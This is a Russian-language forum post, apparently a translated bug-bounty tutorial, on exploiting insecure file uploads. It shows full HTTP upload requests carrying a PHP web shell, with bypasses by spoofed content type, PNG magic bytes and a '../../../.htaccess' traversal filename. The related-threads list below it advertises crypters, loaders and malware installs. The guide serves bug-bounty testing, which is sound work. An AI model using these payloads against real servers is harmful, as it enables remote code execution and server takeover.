Небезопасная загрузка файлов: полное руководство по поиску продвинутых уязвимостей при загрузке файлов

wrangler65

Original poster
Ufo Member
Сообщения
33
Реакции
3
Посетить сайт
Содержание

  • Что такое уязвимости загрузки файлов?
  • Выявление уязвимостей при загрузке файлов
  • Эксплуатация простых уязвимостей загрузки файлов
  • Продвинутая эксплуатация уязвимостей при загрузке файлов
  • Заключение
Уязвимости в загрузки файлов интересны для поиска, они по своей природе имеют большое влияние и в некоторых случаях могут даже привести к удаленному выполнению кода. В наши дни большинство разработчиков осведомлены о небезопасных реализациях загрузки файлов, однако на практике всё ещё может случиться так, что будет внесена потенциальная уязвимость.

В этой статье мы рассмотрим как простые, так и продвинутые уязвимости загрузки файлов. Кроме того, мы уделим внимание особым случаям, которые могут быть использованы в специфических условиях.

Что такое уязвимости при загрузке файлов?

Уязвимости при загрузке файлов возникают из-за небезопасной реализации функционала загрузки файлов, особенно если система проводит недостаточную или вообще не проводит проверку загружаемых файлов.

Такое поведение может позволить злоумышленникам загружать вредоносные файлы, такие как PHP- или ASP-скрипты, и пытаться выполнить код на целевом сервере.

6b922c42-375d-44ad-b740-1e6ed521cb77.png
6b922c42-375d-44ad-b740-1e6ed521cb77.png

Из-за этого уязвимости загрузки файлов обычно имеют серьезные последствия и могут привести к множеству других уязвимостей, от сохраненного XSS до удаленного выполнения кода через загрузку специально созданного файла-полезной нагрузки.

В этой статье мы рассмотрим простые, продвинутые и сложные случаи уязвимостей при загрузке файлов.

Идентификация уязвимостей загрузки файлов

Не все реализации загрузки файлов подвержены вышеуказанным уязвимостям. Чтобы успешно эксплуатировать уязвимость загрузки файлов, сначала должно быть выполнено несколько условий.

1) Доступность для получения

Вы должны иметь доступ к загруженному вами файлу. Большинство компаний используют специальные хранилища или конечные точки, но, в общем, вам нужно знать, где ваш файл хранится, чтобы затем его можно было запустить.

2) Content-Type

Тип содержимого не должен быть фиксированным. Если компонент, обрабатывающий загруженные файлы, переопределяет ваш тип содержимого, например, на application/octet-stream, может возникнуть ситуация, при которой вы никогда не сможете заставить целевой сервер или веб-браузер (в случае XSS) выполнить содержимое вашего файла.

Эксплуатация простых уязвимостей загрузки файлов

ПОДСКАЗКА! Ни один бэкенд не похож на другой. Все цели используют разные подходы к реализации загрузки файлов. Мы рекомендуем вам комбинировать методы описанные ниже, чтобы добиться желаемого результата по выявлению уязвимостей загрузки файлов.
Без ограничений

Этот случай более распространен в старых компонентах и реализациях загрузки файлов. Компонент загрузки файлов не имеет ограничений на загружаемые файлы. Это делает его чрезвычайно легким для эксплуатации.

Вы можете загрузить shell-файл, который позволит вам выполнять системные команды удаленно на целевом устройстве. Если бэкенд написан на PHP, убедитесь, что вы загружаете PHP Shell. Если бэкенд написан на Java, попробуйте загрузить JSP shell и т.д.

POST /Api/FileUpload.aspx HTTP/2
Host: console.example.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/130.0.0.0 Safari/537.3
Content-Type: multipart/form-data; boundary=----WebKitFormBoundary3RwPFJztxaJvrqAq
Accept: */*

------WebKitFormBoundary3RwPFJztxaJvrqAq
Content-Disposition: form-data; name="file"; filename="intigriti.php"
Content-Type: application/x-php

<?php echo system($_GET['e']); ?>
------WebKitFormBoundary3RwPFJztxaJvrqAq--
СОВЕТ! Всегда следуйте рекомендациям программы! Некоторые программы не позволяют загружать вредоносные файлы (или бэкдоры). Однако, если это разрешено, попробуйте использовать случайное имя для вашего вредоносного файла, чтобы только вы могли получить к нему доступ.
Обход ограничения на стороне клиента.

Другим способом, с помощью которого разработчики пытаются ограничить определенные типы файлов, является внедрение ограничений на стороне клиента. Одним из них является HTML-атрибут "accept" в полях формы ввода. Это может помешать обычному пользователю загрузить файл неправильного типа. Однако этот подход неэффективен против злоумышленников, использующих прокси-перехватчики, которые находятся между клиентом и сервером.

b0fa52b1-31ef-4c9e-8fc5-e80b106429c4.png
b0fa52b1-31ef-4c9e-8fc5-e80b106429c4.png

Самый простой способ эксплуатации в таком контексте заключается в загрузке корректного файла, перехвате запроса и замене содержимого загружаемого файла на вредоносный.

Обход чёрного списка расширений файлов

Чёрные списки — это ещё один подход, который разработчики часто используют для ограничения загрузки файлов. И, даже если разработчик, возможно, учёл все вредоносные расширения файлов, всегда найдётся одно малоизвестное расширение, о котором почти никто не знает.

Давайте рассмотрим некоторые распространённые способы обхода:

ff97403f-c902-4ae0-be2d-d6a9af9bfb90.png
ff97403f-c902-4ae0-be2d-d6a9af9bfb90.png

В идеале, вам следует попробовать все эти методы, понять, как серверная часть обрабатывает ваши данные, и подтвердить, выполняет ли она какую-либо нормализацию, чтобы попытаться загрузить вредоносный файл.

СОВЕТ! Не знаете, имеете ли вы дело со списком исключений или списком разрешений? Попробуйте загрузить файл со случайным расширением, если оно было принято, вы, скорее всего, имеете дело с черным списком, в противном случае, это, скорее всего, строго определенный список разрешенных файлов.
Обход белого списка расширений файлов

Подход к обходу белого списка немного отличается от вышеупомянутого случая. Здесь нам нужно будет воспользоваться существующим списком разрешений, который имеет строго определенные расширения, или найти какие-либо недостатки в методе синтаксического анализа или шаблоне регулярных выражений, которые были использованы.

Давайте рассмотрим еще несколько обходных путей, в том числе со специальными кодировками, позволяющими использовать преимущества любого шаблона регулярных выражений с ограниченной областью действия:

a76164b9-5dea-410e-b52f-396a0ab592b3.png
a76164b9-5dea-410e-b52f-396a0ab592b3.png

Если реализация загрузки файла определяет тип вашего файла по типу содержимого, вы также можете попытаться загрузить файл с расширением, внесенным в белый список, но с вашим типом вредоносного содержимого:

POST /Api/FileUpload.aspx HTTP/2
Host: console.example.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/130.0.0.0 Safari/537.3
Content-Type: multipart/form-data; boundary=----WebKitFormBoundary3RwPFJztxaJvrqAq
Accept: */*

------WebKitFormBoundary3RwPFJztxaJvrqAq
Content-Disposition: form-data; name="file"; filename="intigriti.png"
Content-Type: application/x-php

<?php echo system($_GET['e']); ?>
------WebKitFormBoundary3RwPFJztxaJvrqAq--
Обратите внимание на filename и Content-Type в приведенном выше примере запроса.
Как и прежде, вам следует попытаться выявить любые изменения, происходящие в серверной части, и попытаться использовать их в своих интересах.

Давайте теперь перейдем к более продвинутым способам обхода ограничений на загрузку файлов.

Продвинутая эксплуатация уязвимостей при загрузке файлов

Обход ограничений по типу контента

Другой подход, применяемый разработчиками для ограничения доступа к вредоносным файлам, заключается в проверке типа содержимого загружаемого вами файла. В этом случае мы можем попытаться установить для типа содержимого любой разрешенный MIME-тип, оставив в качестве расширения файла желаемый тип файла:

POST /Api/FileUpload.aspx HTTP/2
Host: console.example.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/130.0.0.0 Safari/537.3
Content-Type: multipart/form-data; boundary=----WebKitFormBoundary3RwPFJztxaJvrqAq
Accept: */*

------WebKitFormBoundary3RwPFJztxaJvrqAq
Content-Disposition: form-data; name="file"; filename="intigriti.php"
Content-Type: image/png

<?php echo system($_GET['e']); ?>
------WebKitFormBoundary3RwPFJztxaJvrqAq--
В зависимости от уязвимого компонента, возможно, что при извлечении файла тип файла будет определяться расширением файла, а не типом содержимого файла.

СОВЕТ! Примените то же самое и здесь и попытайтесь воспользоваться любыми существующими ошибками синтаксического анализа и проверки. Проверьте, как ведет себя ваш целевой объект при отправке нескольких типов контента, не отправляйте его вообще или полностью удалите параметр content-type.
Магические байты

Первые несколько байт (символов) содержимого файла определяют и идентифицируют тип файла. Они также называются магическими байтами, магическими числами или сигнатурами файлов в целом.

Разработчики используют их для проверки документа и игнорируют другие параметры, такие как тип содержимого или расширение файла. К счастью для нас, мы можем загрузить файл, который проходит эту проверку, с нашей вредоносной полезной нагрузкой.

Это магические байты для обычного изображения (PNG) в шестнадцатеричном формате:

89 50 4E 47 0D 0A 1A 0A
Если мы уверены, что фильтр ограничения доступа к файлам основан на магических байтах, мы можем просто использовать их в нашем вредоносном файле:

POST /Api/FileUpload.aspx HTTP/2
Host: console.example.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/130.0.0.0 Safari/537.3
Content-Type: multipart/form-data; boundary=----WebKitFormBoundary3RwPFJztxaJvrqAq
Accept: */*

------WebKitFormBoundary3RwPFJztxaJvrqAq
Content-Disposition: form-data; name="file"; filename="intigriti.php"
Content-Type: application/x-php

‰PNG␍␊␚␊
<?php echo system($_GET['e']); ?>
------WebKitFormBoundary3RwPFJztxaJvrqAq--
Наш загруженный файл пройдет проверку, поскольку сначала он будет распознан как изображение. Однако, когда мы позже запросим файл PHP, может оказаться, что наш вредоносный код запускается и выполняется на сервере.

Взгляните на список задокументированных сигнатур файлов в Википедии:

Авторизируйтесь или Зарегистрируйтесь что бы просматривать ссылки.



СОВЕТ! Используйте комбинацию нескольких методов обхода, чтобы избежать более агрессивных фильтров!
Перезапись файлов конфигурации сервера

Если не было введено строгих ограничений или имя файла не было правильно проверено, в некоторых случаях мы можем просматривать файловые каталоги или даже перезаписывать файлы конфигурации сервера, просто загружая файл с соответствующим именем.

Давайте рассмотрим простой пример.

Предположим, что ваш целевой объект использует Apache для передачи контента по протоколу HTTP. Apache поддерживает файлы конфигурации .htaccess. После того, как мы выяснили, где хранятся наши файлы, мы можем попытаться либо перезаписать существующий файл конфигурации .htaccess, либо создать новый.

POST /Api/FileUpload.aspx HTTP/2
Host: console.example.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/130.0.0.0 Safari/537.3
Content-Type: multipart/form-data; boundary=----WebKitFormBoundary3RwPFJztxaJvrqAq
Accept: */*

------WebKitFormBoundary3RwPFJztxaJvrqAq
Content-Disposition: form-data; name="file"; filename="../../../.htaccess"
Content-Type: text/plain

# Your server configuraton rules
------WebKitFormBoundary3RwPFJztxaJvrqAq--
Благодаря этому мы могли бы изменить текущие конфигурации сервера, и в большинстве случаев это может привести к выполнению кода на целевом сервере.

Мы рекомендуем вам иметь список служб и технологий, работающих на вашем целевом сервере, и разработать полезную нагрузку специально для вашего целевого сервера.

Выводы

Уязвимости при загрузке файлов критичны по своей природе, поэтому стоит потратить время и включить тесты на эти типы уязвимостей. Вам следует попробовать загрузить все возможные полезные данные, выявить потенциальные слабые места и ошибки в процессах проверки файлов и воспользоваться этим для загрузки вредоносных файлов.

Вы только что узнали кое-что новое об использовании расширенных уязвимостей при загрузке файлов… А теперь самое время проверить свои навыки!


Авторизируйтесь или Зарегистрируйтесь что бы просматривать ссылки.

 
Название темы
Автор Заголовок Раздел Ответы Дата
W Загрузка Диска 100% Свободное общение и флейм 1
L Интересно C# - Динамическая загрузка DLL (пишем стиллер в 9кб) .NET 4
A Инсталлы, загрузка вашего файла .ехе MIX EU USA CA AU Трафик, загрузки, инсталлы, iframe 5
M YDL-UI - загрузка видео и аудио из Интернета Софт для работы с текстом/Другой софт 0
M Проверено Загрузка вашего файла .ехе Инсталлы Трафик, загрузки, инсталлы, iframe 0
G Загрузка shell в WEB-сервер. PhpMyAdmin Уязвимости и взлом 0
wrangler65 Интересно Тестирование JavaScript-файлов для Bug-bounty хантеров Полезные статьи 0
F Файлообменник. Заработок на продаже файлов Ищу работу. Предлагаю свои услуги. 0
B Ищу криптора APK файлов Вирусология 0
A Alice in The Land of Malware | Loader (Загрузчик файлов) Корзина 0
HostingSupport VERIFCRYPTBOT | автоматический крипт .NET/Native файлов | API для тим | FUD 0-3/26 Ищу работу. Предлагаю свои услуги. 5
J Крипт-сервис для ваших EXE/DLL файлов Ищу работу. Предлагаю свои услуги. 3
P как извлечь из файлов .bin файлы с помощью UltraISO ? Вопросы и интересы 1
U Продажа .NET FUD крипта файлов OR полную версию криптора. Продажа софта 0
S Satoshi-box.com Продажа ваших файлов, цифрового контента за биткойны анонимно Способы заработка 0
A Проверка файлов на вирусы Продажа софта 11
K 50-300 р./сутки. Пассивный заработок на раздаче файлов. Способы заработка 1
L CPYLoader Удобный лоадер файлов Продажа софта 4
H Проверено [ПРОДАЖА] Качественные живые установки ваших файлов (скидки) Трафик, загрузки, инсталлы, iframe 0
T Перехват файлов в Wireshark Уязвимости и взлом 0
G Методы обхода фильтров по расширению при загрузке файлов Полезные статьи 0
K Сборник программ для взлома паролей различных зашифрованных файлов запароленных архивов Другое 1
G СОЗДАНИЕ ФАЙЛОВ, КОТОРЫЕ НЕ МОГУТ БЫТЬ НАЙДЕНЫ С ПОМОЩЬЮ ПАПКИ “...” Полезные статьи 0
G Заработок на утечке файлов Способы заработка 0
G Выполнение макросов из .docx файлов с удаленной инъекцией шаблона Полезные статьи 0
0 Продам Дешёвые инсталлы ваших файлов Трафик, загрузки, инсталлы, iframe 0
S OnionShare - сервис анонимной передачи файлов с Tor. Анонимность и приватность 0
V Прога для востаноления удалёных файлов Софт для работы с текстом/Другой софт 6
W OXI Joiner by Vazonez (склейка файлов) Spam/DDOS/Malware 6
S Представлен инструмент для восстановления файлов, зашифрованных Petya Новости в сети 0
X Онлайн сканеры файлов на вирус Софт для работы с текстом/Другой софт 12
D Shellfire — использование уязвимостей встраиваемых файлов и командных инъекций Полезные статьи 0
S Компания выплатит $1 млн за восстановление файлов, зашифрованных Linux-вымогателем Новости в сети 0
I WannaCry - расшифровка файлов Софт для работы с текстом/Другой софт 3
M Скрытая сборка RMS с подкачкой файлов с сервера 2 Spam/DDOS/Malware 5
АнАлЬнАя ЧуПаКаБрА Программа для проверки двух файлов Софт для работы с текстом/Другой софт 0
Glods Джойнер файлов AutoIt Spam/DDOS/Malware 1
A Разделитель больших текстовых файлов на маленькие Python Софт для работы с текстом/Другой софт 0

Название темы